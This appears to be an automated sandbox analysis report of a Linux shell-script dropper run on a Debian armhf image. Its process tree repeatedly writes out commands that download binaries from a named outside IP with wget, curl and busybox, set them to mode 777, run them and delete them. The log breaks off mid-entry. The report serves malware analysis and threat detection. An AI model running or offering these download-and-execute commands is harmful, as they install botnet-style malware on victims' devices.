90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3

Analysis

max time kernel
58s
max time network
71s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/10/2024, 02:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
Size 10KB
Sample241029-c6vxza1lan
SHA256 90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3
MD5 05676d582a06a0b7302060800ad72ef0
SHA1 c8fe43d797cdc8390adbf73e026c2cc0c5d81757
SHA512 3101d43946e54581dc59839ccf2376ef12db901a62a51c48eb2aa6d957661cd13b39a1067645b9cf5f5fded5df5b641f80b3d58370ca805ad4c04123de0419b7
SSDEEP 192:4yEZu5+szPApp5UQ9Xk8lzPApp5UQ9Xk8Mg:4yEZucBUQ9Xk8UUQ9Xk8L
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 26 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
886	chmod
892	chmod
706	chmod
783	chmod
789	chmod
854	chmod
872	chmod
878	chmod
910	chmod
916	chmod
922	chmod
700	chmod
732	chmod
750	chmod
848	chmod
866	chmod
770	chmod
818	chmod
904	chmod
930	chmod
689	chmod
718	chmod
800	chmod
841	chmod
860	chmod
898	chmod

Executes dropped EXE 26 IoCs

Checks CPU configuration 1 TTPs 26 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 52 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
821	wget
832	busybox
844	rm
890	curl
891	busybox
825	curl
843	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
889	wget
893	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
894	rm

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	curl
File opened for modification	/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	curl
File opened for modification	/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	curl
File opened for modification	/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	curl
File opened for modification	/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	curl
File opened for modification	/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	curl
File opened for modification	/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	curl
File opened for modification	/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	curl
File opened for modification	/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	curl
File opened for modification	/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	curl
File opened for modification	/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	curl
File opened for modification	/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	curl
File opened for modification	/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	curl
File opened for modification	/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	curl
File opened for modification	/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	curl
File opened for modification	/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	curl
File opened for modification	/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	curl
File opened for modification	/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	curl
File opened for modification	/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	curl
File opened for modification	/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	curl
File opened for modification	/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	curl
File opened for modification	/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	curl
File opened for modification	/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	curl
File opened for modification	/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	curl
File opened for modification	/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	curl
File opened for modification	/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	curl

/tmp/90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
/tmp/90cc63944058f1b1b2f5b40dc1288529dbff2e75e76381b2a35de21c4fabc5c3.sh
1⤵
PID:660
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:668
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:686
- /bin/chmod
  chmod 777 EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  ./EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:692
- /usr/bin/wget
  wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:699
- /bin/chmod
  chmod 777 TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  ./TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:705
- /bin/chmod
  chmod 777 ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  ./ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:708
- /usr/bin/wget
  wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:715
- /bin/chmod
  chmod 777 ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  ./ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Executes dropped EXE
  PID:719
- /bin/rm
  rm ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:721
- /usr/bin/wget
  wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:729
- /bin/chmod
  chmod 777 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  ./5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:734
- /usr/bin/wget
  wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:747
- /bin/chmod
  chmod 777 XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  ./XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:765
- /bin/chmod
  chmod 777 AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  ./AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:772
- /usr/bin/wget
  wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:781
- /bin/chmod
  chmod 777 kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  ./kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:788
- /bin/chmod
  chmod 777 CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  ./CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:791
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:798
- /bin/chmod
  chmod 777 HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  ./HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:803
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:815
- /bin/chmod
  chmod 777 UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  ./UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:820
- /usr/bin/wget
  wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:821
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:832
- /bin/chmod
  chmod 777 tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  ./tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:843
- /bin/rm
  rm tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:844
- /usr/bin/wget
  wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:847
- /bin/chmod
  chmod 777 XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  ./XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:850
- /usr/bin/wget
  wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:853
- /bin/chmod
  chmod 777 NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  ./NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:856
- /usr/bin/wget
  wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:859
- /bin/chmod
  chmod 777 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  ./5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm 5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:865
- /bin/chmod
  chmod 777 XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  ./XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:871
- /bin/chmod
  chmod 777 ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  ./ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:877
- /bin/chmod
  chmod 777 HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  ./HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:885
- /bin/chmod
  chmod 777 UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  ./UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
  2⤵
  PID:888
- /usr/bin/wget
  wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:891
- /bin/chmod
  chmod 777 tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  ./tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:893
- /bin/rm
  rm tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/wget
  wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:897
- /bin/chmod
  chmod 777 XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  ./XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
  2⤵
  PID:900
- /usr/bin/wget
  wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:901
- /usr/bin/curl
